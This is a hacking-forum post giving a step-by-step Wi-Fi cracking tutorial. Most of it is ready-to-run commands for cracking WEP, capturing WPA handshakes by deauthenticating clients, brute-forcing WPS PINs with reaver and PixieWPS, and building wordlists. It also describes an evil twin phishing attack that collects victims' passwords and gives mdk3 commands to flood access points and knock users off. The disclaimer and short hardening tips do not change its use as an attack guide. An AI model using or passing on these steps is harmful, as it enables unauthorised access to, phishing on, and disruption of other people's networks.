PHSHADOWBR0KER
Forum Guru
Hello !
For over years now, I'm testing Wifi and got a large of knowledge. So today I want to share with you my experience and all methods that you can use for cr@cking Wifi passwords. In order I will skip some details that you can found on google. This tutorial included screenshot, Tips, useful links.
This work took me time and effort, so hope you enjoy it
Disclaimer 
: This is purely for Educational Purposes. I am not responsible for your actions. Use it only against your own networks and devices!
: This is purely for Educational Purposes. I am not responsible for your actions. Use it only against your own networks and devices!KAHIT ISANG THANKYOU LANG MASAYA NAKO 
#3rdanniv
(18 DROP)
Summary:
Requirements:
Cr@cking WEP using ARP Injection
WPA/WPA2
WPS (reaver)
PixieWPS + reaver
Wps WPA Tester (android)
Bruteforcing
Make custom Wordlist
Online Cr@ck
Evil Twin Attack
Bonus:
MDK3
Secure my WiFi
How detect who is using my WiFi
Wifislax OS
Requirement:
- Kali Linux: (could be live CD, installed OS, or virtual machine).
- A WiFi adapter that is able of injecting packets and going into “monitor” mode: I recommand to use Alpha
Antenna Wifi adapter (AWUS036NH), they have a good power and signal, perfect for our test. Also you can use small USB Wifi Adapter like tp-link but with less signal
Explain some words before starting our testing:
AP: Access Points (Targeted WiFi)
BSSID: AP Mac address
ESSID: AP Name
Channel: AP Channel number (1-13)
WPS: Wi-Fi Protected Setup
wlan0: Wireless interface
wlan0mon: Monitor interface
Worldlist: A list of passwords
First of all before testing any Wifi we should start the wireless interface in monitor mode on.
Open terminal to type command line
Scan for wifi adapter:
Code:
airmon-ng
Start the wireless interface in monitor mode:
Code:
airmon-ng start wlan0Change our mac address (safety first):
Code:
ifconfig wlan0mon down (turn off monitor interface)
macchanger -a wlan0mon (generate a random mac address)
ifconfig wlan0mon up (turn on monitor interface)
Cr@cking WEP using ARP Injection
WEP Encryption is an older superseded authentication and data encryption mode, used on old router and has been replaced by the improved WPA/WPA2 authentication. Cr@cking WEP is very easy and Child's play.
Scan for AP's (Wifi)
Code:
airodump-ng wlan0mon
Start airodump-ng on AP to collect the packets:
Code:
airodump-ng --bssid <targeted bssid> -c <targeted channel number> -w output mon0
Use aireplay-ng to do a fake authentication with the access point:
Code:
aireplay-ng -1 5 -e Wifi -a <monitor interface bssid> -h <targeted ap bssid> wlan0mon
Start aireplay-ng in ARP request replay mode to inject packets:
Code:
aireplay-ng -3 -b <monitor interface bssid> -h <targeted ap bssid> wlan0mon
After we got +30k Packets (data), Run aircr@ck-ng to cr@ck WEP key using the collected packets:
Code:
aircr@ck-ng output.cap (change @ to a)
WPA/WPA2
On this tutorial Im gonna show you 4 methods how to cr@ck WPA/WPA2 Encyption key, so lets start with WPS vulnerability
WPS (reaver)
Reaver implements a brute force attack against Wifi Protected Setup (WPS) PINs in order to recover WPA/WPA2 Password.
Lets scan for WPS vulnerable WiFi:
Code:
wash -i wlan0mon
Start wps bruteforce attack to get the PIN and cr@ck the password:
This process may take a long time to get PIN, its depends of the signal power.
Code:
reaver -i wlan0mon -b <targeted bssid> -vv -c <targeted channel number>
if you have already the PIN you can run this command and cr@ck the password more quickly:
Code:
reaver -i wlan0mon -b <targeted bssid> -vv -c <targeted channel number> -p <PIN targeted ap>If you get error, it is mostly likely because the AP are too far from you or the WPS have a security.
PixieWPS + reaver
Pixiewps is a tool used to bruteforce offline the WPS PIN, not all WPS Wifi are vulnerable to this attack.
Scan for WPS vulnerable WiFi::
Code:
wash -i wlan0monInitiate a pixie dust attack to cr@ck the PIN:
Code:
reaver -i wlan1mon -b <targeted ap bssid> -KvvNwL -c <targeted channel number>
After finding the WPS pin of the router, let cr@ck the WPA key using reaver and PIN:
Code:
reaver -i wlan1mon -b <targeted ap bssid> -vvNwL -c <targeted channel number> -p <PIN number>
Wps WPA tester (android)
Wps WPA tester is the best android app that try to connect to WPS enabled Wifi Routers, and if your device is rooted you can also get the wifi password.
DL: You do not have permission to view the full content of this post. Log in or register now.
Bruteforcing
Basically Aircr@ck will attempt to cr@ck the WiFi password using the wordlist you have chosen. This process requires you to wait. If the password is not in the wordlist, then the password won’t be cr@cked until you have chosen a wordlist that contains the target’s password.
Scan for AP's:
Code:
airodump-ng wlan0monMonitor our tageted AP:
Code:
airodump-ng -c <channel number> --bssid <targeted bssid> -w output wlan0monCapture the Handshake:
In order to capture the handshake we gonna sending him Deauthentication packets. We have to be patient for a client to connect to the network we are monitoring
Code:
aireplay-ng -0 10 -a <targeted bssid> wlan0mon
Cr@ck the WPA password using handshake and wordlist
A default Wordlist file is included in Kali Linux named “rockyou.txt” and located in “/usr/share/wordlists”
We can use it to cr@ck the password, or just by downloading wordlist.
Code:
aircr@ck-ng output.cap -w rockyou.txt (remove @ change to a)
Wait For Aircr@ck To Cr@ck The WPA Password Using the wordlist and capture Handshake.
You can use hashcat to cr@ck more faster the password using your GPU.
Making Custom Worldlist with crunch:
Crunch is a wordlist generator where you can specify a standard character set or a character set you specify. crunch can generate all possible combinations and permutations.
Example of command:
The result will be a list of:
Example of command:
Code:
crunch 8 8 0123456789 John@@@@ -o output.txtThe result will be a list of:
Code:
John0000
John0001
...
John9999
Online cr@ck:
There is some free/ρáíd sites that allowed you to upload your *.cap to cr@ck the wpa password for you.
- FREE You do not have permission to view the full content of this post. Log in or register now. - You do not have permission to view the full content of this post. Log in or register now. (remove'@' change to a)
- ρáíd:You do not have permission to view the full content of this post. Log in or register now.
Evil twin Method
This one of the best methods to häçk wifi without using wordlist or reaver or any other method. bassically we gonna creates a new false AP and attracts the victim to enter their password. and the potential of success is really high.
The principle of the attack:
Best automated tools for this type of attack:
- Wifiphisher
- LinSet
- Wirespy
The principle of the attack:
- Select targeted AP
- Making a clone of the AP, same (bssid, essid, channel) and without encryption.
- Users are disconnected from the original access point by deauthentication attack the original access point is continually down.
- When a user connects to the Evil Twin, he is asked for a WiFi password (for example, to update the firmware) under various pretexts. The password received is sent to the attacker.
Best automated tools for this type of attack:
- Wifiphisher
- LinSet
- Wirespy
BONUS
MDK3
This is one of my favorite tool that I use for
- DDOS and shut down the Wifi:
- Kicks everybody found from AP:
- DDOS and shut down the Wifi:
Code:
mdk3 wlan0mon a -a <targeted bssid> -n <targeted essid> -s 100
mdk3 wlan0mon x 0 -t <targeted bssid ap> -n <targeted essid> -s 100- Kicks everybody found from AP:
Code:
mdk3 wlan0mon d -t <targeted bssid>
Secure my WiFi:
You can secure your Wifi using your router settings by:
- Use WPA2 Encryption
- Using a stronge pass (generate pass: You do not have permission to view the full content of this post. Log in or register now.)
- Enable Mac filter
- Set maximum user limit
- Hide the ESSID
How detect who is using my WiFi:
With android app: You do not have permission to view the full content of this post. Log in or register now.
on Windows (Wireless Network Watcher) : You do not have permission to view the full content of this post. Log in or register now.
Wifislax OS:
Wifislax is a linux based operation system and an All in one Wifi penetration testing, its included a bunch of advanced Tools to test your Wifi. The OS is only available with Spanish language.
DL: You do not have permission to view the full content of this post. Log in or register now.
